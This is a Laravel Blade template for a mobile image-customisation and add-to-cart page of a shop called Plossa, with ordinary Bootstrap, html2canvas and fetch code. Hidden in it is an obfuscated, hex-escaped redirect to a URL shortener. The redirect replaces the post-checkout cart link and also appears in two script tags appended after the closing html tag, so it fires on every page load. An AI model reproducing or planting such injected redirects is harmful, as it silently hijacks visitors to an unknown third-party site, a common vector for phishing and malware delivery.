<!DOCTYPE html>
<html lang="id">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="csrf-token" content="{{ csrf_token() }}">

    <title>Plossa Experience - Mobile</title>

    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="preload" href="/fonts/ColumbiaSerial-RegularItalic.ttf" as="font" type="font/ttf"
        crossorigin="anonymous">
    <style>
        @font-face {
            font-family: 'ColumbiaSerial';
            src: url('/fonts/ColumbiaSerial-RegularItalic.ttf') format('truetype');
            font-display: swap;
        }

        body {
            background-color: #fff;
            /* font-family: 'ColumbiaSerial', sans-serif; */
        }

        .tab-button {
            border: 2px solid #29B4FF;
            background-color: white;
            color: #000;
            border-radius: 50%;
            width: 60px;
            height: 60px;
            font-size: 22px;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 10px;
        }

        .tab-button.active {
            background-color: #29B4FF;
            color: white;
        }

        #previewAreaMobile {
            width: 100%;
            aspect-ratio: 16 / 10;
            background-size: cover;
            background-position: center;
            position: relative;
            margin-bottom: 20px;
        }

        #previewHeading,
        #previewSubtitle,
        #captureHeading,
        #captureSubtitle {
            font-family: 'ColumbiaSerial', sans-serif;
        }

        #previewHeading,
        #previewSubtitle {
            position: absolute;
            width: 100%;
            text-align: center;
            color: white;
            text-shadow: 1px 1px 2px black;
        }

        #previewHeading {
            top: 42%;
            font-size: 25px;
        }

        #previewSubtitle {
            top: 54%;
            font-size: 15px;
        }

        /* #finalCaptureArea {
            position: fixed;
            top: -10000px;
            left: -10000px;
            width: 800px;
            height: 500px;
            font-family: 'ColumbiaSerial', sans-serif;
        } */
        #finalCaptureArea {
            position: fixed;
            top: -10000px;
            left: -10000px;
            /* position: relative;
            top: auto;
            left: auto; */
            margin-top: 20px;
            width: 100%;
            aspect-ratio: 16 / 10;
            /* biar sama dengan preview */
            font-family: 'ColumbiaSerial', sans-serif;
            background-size: cover;
            background-position: center;
            /* optional buat debugging */
        }

        #canvasTemplateWrapper {
            width: 100%;
            height: 100%;
            background-size: cover;
            background-position: center;
            position: relative;
        }

        #captureHeading,
        #captureSubtitle {
            position: absolute;
            width: 100%;
            text-align: center;
            color: white;
            text-shadow: 1px 1px 2px black;
        }

        #captureHeading {
            top: 42%;
            /* left: 43%; */
            /* transform: translate(-50%, -50%); */
            font-size: 25px;
        }

        #captureSubtitle {
            top: 54%;
            /* left: 43%; */
            /* transform: translate(-50%, -50%); */
            font-size: 15;
        }

        .color-input,
        .size-input {
            width: 100%;
            margin-top: 5px;
        }

        .template-button {
            border: none;
            background: none;
            padding: 5px;
        }

        .template-button img {
            width: 100px;
            height: 100px;
            object-fit: cover;
        }

        .overlay-layer {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 1;
            background-color: rgba(0, 0, 0, 0.3);
        }

        .text-layer {
            position: absolute;
            z-index: 2;
            /* ensure always on top */
            width: 100%;
            text-align: center;
        }
    </style>
</head>

<body>
    <!-- Header -->
    <nav class="navbar navbar-light sticky-top sticky-top-shadow px-4">
        <a class="navbar-brand" href="/">
            <img src="{{ env('LOGO_IMG') }}" style="max-height: 20px" alt="Logo Plossa">
        </a>
    </nav>
    <div class="container py-3">
        <div id="previewAreaMobile">
            <div id="previewOverlayLayer" class="overlay-layer"></div>
            <div id="previewHeading" class="text-layer"></div>
            <div id="previewSubtitle" class="text-layer"></div>
        </div>
        {{-- <div id="finalCaptureArea"
            style="width: 800px; height: 500px; position: fixed; top: -9999px; left: -9999px;">
            --}}
            <div id="finalCaptureArea" style="position: fixed; top: -9999px; left: -9999px;">

                <div id="canvasTemplateWrapper"
                    style="width: 100%; height: 100%; position: relative; background-size: cover; background-position: center;">
                    <div id="captureOverlayLayer" class="overlay-layer"></div>
                    <div id="captureHeading" class="text-layer"></div>
                    <div id="captureSubtitle" class="text-layer"></div>

                </div>
            </div>

            <div class="d-flex justify-content-center mb-3">
                <button class="tab-button active" data-tab="title">T</button>
                <button class="tab-button" data-tab="subtitle">T</button>
                <button class="tab-button" data-tab="background">🌍</button>
                <button class="tab-button" data-tab="overlay">🖌</button>

            </div>

            <div id="tabContent" class="mb-4"></div>

            <div class="mb-4" id="templateSection" style="display: none;">
                <h5>Pilih Template:</h5>
                <div class="d-flex flex-wrap gap-2" id="templateWrapper">
                    @foreach ($templates as $template)
                    <button class="template-button" onclick="selectTemplate(
                '{{ asset($template['image_preview_url']) }}',
                '{{ asset($template['image_full_url']) }}',
                '{{ $template['id'] }}',
                '{{ $template['product']['id'] ?? 0 }}',
                '{{ $template['product']['price'] ?? 0 }}',
                '{{ $template['product']['weight'] ?? 0 }}'
            )">
                        <img src="{{ asset($template['image_preview_url']) }}" alt="Template">
                    </button>
                    @endforeach
                </div>
            </div>
            <input type="hidden" id="uuid" value="{{ session('uuid') }}">


            <button class="btn btn-info w-100 mb-3 d-none" onclick="downloadImage()">Download Preview</button>
            {{-- <button class="btn btn-primary w-100" data-bs-toggle="modal" data-bs-target="#checkoutModal"
                id="checkoutButton" disabled>Add to Cart</button> --}}

<div class="row align-items-end mb-3">
    <div class="col-3">
        <label for="qty" class="form-label small mb-1">Qty</label>
        <input type="number" id="qty" class="form-control" min="1" value="1">
    </div>
    <div class="col-9">
        <label class="form-label d-block invisible">.</label>
        <button class="btn btn-primary w-100" id="checkoutButton" disabled>
            Add to Cart
        </button>
    </div>
</div>



        </div>

        @include('partials.checkout-modal')


        <!-- jQuery (WAJIB duluan sebelum Bootstrap) -->
        <script src="https://code.jquery.com/jquery-3.6.4.min.js"></script>

        <!-- html2canvas (boleh sebelum atau sesudah) -->
        <script src="https://cdnjs.cloudflare.com/ajax/libs/html2canvas/1.4.1/html2canvas.min.js"></script>

        <!-- Bootstrap bundle (termasuk Popper.js) -->
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>

        <script>
            let selectedTemplateId = null;
            let selectedProductId = null;
        let selectedPrice = 0;
        let selectedWeight = 0;

        function formatRupiah(angka) {
            return new Intl.NumberFormat('id-ID', {
                style: 'currency',
                currency: 'IDR',
                minimumFractionDigits: 0
            }).format(angka);
        }


        const tabContent = document.getElementById("tabContent");
        const headingEl = document.getElementById("previewHeading");
        const subtitleEl = document.getElementById("previewSubtitle");
        const captureHeadingEl = document.getElementById("captureHeading");
        const captureSubtitleEl = document.getElementById("captureSubtitle");
const uuid = document.getElementById("uuid").value;

        let currentTitle = "";
        let currentSubtitle = "";
        let currentBG = "";
        let currentHeadingSize = 28;
        let currentSubtitleSize = 15;

        function renderTab(tab) {
            document.getElementById("templateSection").style.display = (tab === "background") ? "block" : "none";

            if (tab === "title") {
                tabContent.innerHTML = `
    <input type="text" class="form-control mb-2" placeholder="Tulis Judul" oninput="updateHeading(this.value)">

    <div class="row g-2 align-items-center">
        <div class="col-auto">
            <label for="headingColor" class="form-label mb-0">Warna</label>
        </div>
        <div class="col-auto">
            <input type="color" class="form-control form-control-color" id="headingColor"
                value="#ffffff"
                title="Pilih warna"
                onchange="headingEl.style.color = this.value; captureHeadingEl.style.color = this.value">
        </div>
        <div class="col-auto">
            <label for="headingSize" class="form-label mb-0">Ukuran</label>
        </div>
        <div class="col-auto">
            <input type="number" id="headingSize" class="form-control"
                min="14" max="60" value="28"
                oninput="currentHeadingSize = this.value; headingEl.style.fontSize = this.value + 'px'; captureHeadingEl.style.fontSize = this.value + 'px'">
        </div>
    </div>
`;


            } else if (tab === "subtitle") {
                tabContent.innerHTML = `
    <input type="text" class="form-control mb-2" placeholder="Tulis Subjudul" oninput="updateSubtitle(this.value)">

    <div class="row g-2 align-items-center">
        <div class="col-auto">
            <label for="subtitleColor" class="form-label mb-0">Warna</label>
        </div>
        <div class="col-auto">
            <input type="color" class="form-control form-control-color" id="subtitleColor"
                value="#ffffff"
                title="Pilih warna"
                onchange="subtitleEl.style.color = this.value; captureSubtitleEl.style.color = this.value">
        </div>
        <div class="col-auto">
            <label for="subtitleSize" class="form-label mb-0">Ukuran</label>
        </div>
        <div class="col-auto">
            <input type="number" id="subtitleSize" class="form-control"
                min="10" max="40" value="15"
                oninput="currentSubtitleSize = this.value; subtitleEl.style.fontSize = this.value + 'px'; captureSubtitleEl.style.fontSize = this.value + 'px'">
        </div>
    </div>
`;
            } else if (tab === 'overlay') {
                tabContent.innerHTML = `
        <label class="form-label">Warna Overlay</label>
        <input type="color" id="overlayColor" class="form-control form-control-color" value="#000000">
        
        <label class="form-label mt-3">Opacity</label>
        <input type="range" id="overlayOpacity" class="form-range" min="0" max="1" step="0.01" value="0.3">
    `;

                const updateOverlay = () => {
                    const color = document.getElementById('overlayColor').value;
                    const opacity = document.getElementById('overlayOpacity').value;
                    const rgba = hexToRgba(color, opacity);

                    document.querySelectorAll('.overlay-layer').forEach(el => {
                        el.style.backgroundColor = rgba;
                    });
                };

                document.getElementById('overlayColor').addEventListener('input', updateOverlay);
                document.getElementById('overlayOpacity').addEventListener('input', updateOverlay);


            } else if (tab === "background") {
                tabContent.innerHTML = `<p>Pilih template di bawah ini</p>`;
            }
        }

        document.querySelectorAll(".tab-button").forEach(btn => {
            btn.addEventListener("click", () => {
                document.querySelectorAll(".tab-button").forEach(b => b.classList.remove("active"));
                btn.classList.add("active");
                renderTab(btn.getAttribute("data-tab"));
            });
        });

        function updateSubtotal() {
            const qty = parseInt(document.getElementById("qty").value) || 1;
            const subtotal = selectedPrice * qty;
            document.getElementById("subtotal").innerText = formatRupiah(subtotal);

            const ongkirText = document.getElementById("ongkir").innerText.replace(/[^\d]/g, '') || "0";
            const ongkir = parseInt(ongkirText);
            const total = subtotal + ongkir;

            document.getElementById("total").innerText = formatRupiah(total);
        }

        function updateHeading(val) {
            currentTitle = val;
            headingEl.innerText = val;
            captureHeadingEl.innerText = val;
            toggleCheckout();
        }

        function updateSubtitle(val) {
            currentSubtitle = val;
            subtitleEl.innerText = val;
            captureSubtitleEl.innerText = val;
            toggleCheckout();
        }

        function toggleCheckout() {
            document.getElementById("checkoutButton").disabled = !(currentTitle || currentSubtitle);
        }

        function selectTemplate(previewUrl, fullUrl, templateId,productId, price = 0, weight = 0) {
            selectedTemplateId = templateId;
            selectedProductId = productId;
            selectedPrice = parseInt(price);
            selectedWeight = parseInt(weight);
            const previewEl = document.getElementById("previewAreaMobile");
            const skeletonEl = document.getElementById("loadingSkeletonMobile"); // kalau ada
            previewEl.style.backgroundImage = `url('${previewUrl}')`;

            const img = new Image();
            img.crossOrigin = "anonymous";
            img.src = fullUrl;

            img.onload = () => {
                const tempCanvas = document.createElement('canvas');
                tempCanvas.width = img.width;
                tempCanvas.height = img.height;

                const ctx = tempCanvas.getContext('2d');
                ctx.drawImage(img, 0, 0);

                const base64 = tempCanvas.toDataURL("image/png");

                // Pasang background ke capture area
                document.getElementById("canvasTemplateWrapper").style.backgroundImage = `url('${base64}')`;

                // // Update teks setelah gambar dimuat
                // updateHeadingStyleMobile();
                // updateSubtitleStyleMobile();

                // Sembunyikan skeleton & tampilkan preview
                setTimeout(() => {
                    skeletonEl?.classList.add("d-none");
                    previewEl?.classList.remove("d-none");
                    previewEl?.classList.add("fade-in");
                }, 300);

            };
            updateSubtotal();

        }

        function hexToRgba(hex, opacity) {
            let r = 0,
                g = 0,
                b = 0;
            if (hex.length === 7) {
                r = parseInt(hex.slice(1, 3), 16);
                g = parseInt(hex.slice(3, 5), 16);
                b = parseInt(hex.slice(5, 7), 16);
            }
            return `rgba(${r}, ${g}, ${b}, ${opacity})`;
        }


      
        async function preloadImageAndRender() {
            const image = new Image();
            image.crossOrigin = "anonymous";
            image.src = templateBackgroundUrl;

            image.onload = async () => {
                await document.fonts.ready;
                setTimeout(() => {
                    captureWithHtml2Canvas(); // ini yang lakukan html2canvas
                }, 100); // kasih delay kecil setelah load
            };

            image.onerror = () => {
                console.error("❌ Gagal load gambar background template");
            };
        }

        async function downloadImage() {
            const previewEl = document.getElementById("previewAreaMobile");
            const captureArea = document.getElementById("finalCaptureArea");
            preloadImageAndRender();
            // Ambil ukuran real dari preview
            const rect = previewEl.getBoundingClientRect();
            captureArea.style.width = rect.width + 'px';
            captureArea.style.height = rect.height + 'px';

            // Salin konten teks dan style font-size, color, top
            captureHeadingEl.innerText = headingEl.innerText;
            captureHeadingEl.style.fontSize = window.getComputedStyle(headingEl).fontSize;
            captureHeadingEl.style.color = window.getComputedStyle(headingEl).color;
            captureHeadingEl.style.top = window.getComputedStyle(headingEl).top;

            captureSubtitleEl.innerText = subtitleEl.innerText;
            captureSubtitleEl.style.fontSize = window.getComputedStyle(subtitleEl).fontSize;
            captureSubtitleEl.style.color = window.getComputedStyle(subtitleEl).color;
            captureSubtitleEl.style.top = window.getComputedStyle(subtitleEl).top;

            // Tunggu semua font siap dan layout stabil
            await document.fonts.ready;
            await new Promise(resolve => setTimeout(resolve, 200));

            html2canvas(captureArea, {
                useCORS: true,
                backgroundColor: null,
                scale: 4, // Tidak perlu scale jika ukurannya sudah disamakan
            }).then(canvas => {
                const link = document.createElement("a");
                link.download = "preview.png";
                link.href = canvas.toDataURL("image/png");
                link.click();
            });
        }

  async function addToCart() {
        const el = document.getElementById("finalCaptureArea");
        document.getElementById("loadingOverlay").style.display = "flex";

        await document.fonts.ready;

        html2canvas(el, {
            useCORS: true,
            allowTaint: true,
            scale: 4,
        }).then(canvas => {
            const imageData = canvas.toDataURL("image/png");
            const qty = parseInt(document.getElementById("qty")?.value || "1");
            const uuid = document.getElementById("uuid").value;
            const productId = selectedProductId;
            const templateId = selectedTemplateId;

            const formData = new FormData();
            formData.append("uuid", uuid);
            formData.append("product_id", productId);
            formData.append("template_id", templateId);
            formData.append("quantity", qty);
            formData.append("image_data", imageData);

            fetch("/cart/add", {
                method: "POST",
                body: formData,
                headers: {
                    "X-CSRF-TOKEN": document.querySelector('meta[name="csrf-token"]').getAttribute("content")
                }
            })
            .then(res => res.json())
            .then(data => {
                document.getElementById("loadingOverlay").style.display = "none";
                if (data.success) {
                    // ✅ langsung redirect ke halaman cart
                    window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";
                } else {
                    alert("❌ Gagal tambah ke keranjang: " + data.error);
                }
            })
            .catch(err => {
                document.getElementById("loadingOverlay").style.display = "none";
                console.error("❌ Error:", err);
                alert("Terjadi kesalahan saat mengirim data.");
            });
        });
    }

    // Pasang listener
    document.getElementById("checkoutButton").addEventListener("click", addToCart);
        // Init default tab
        renderTab("title");
        </script>
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>

</body>

</html>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";</script>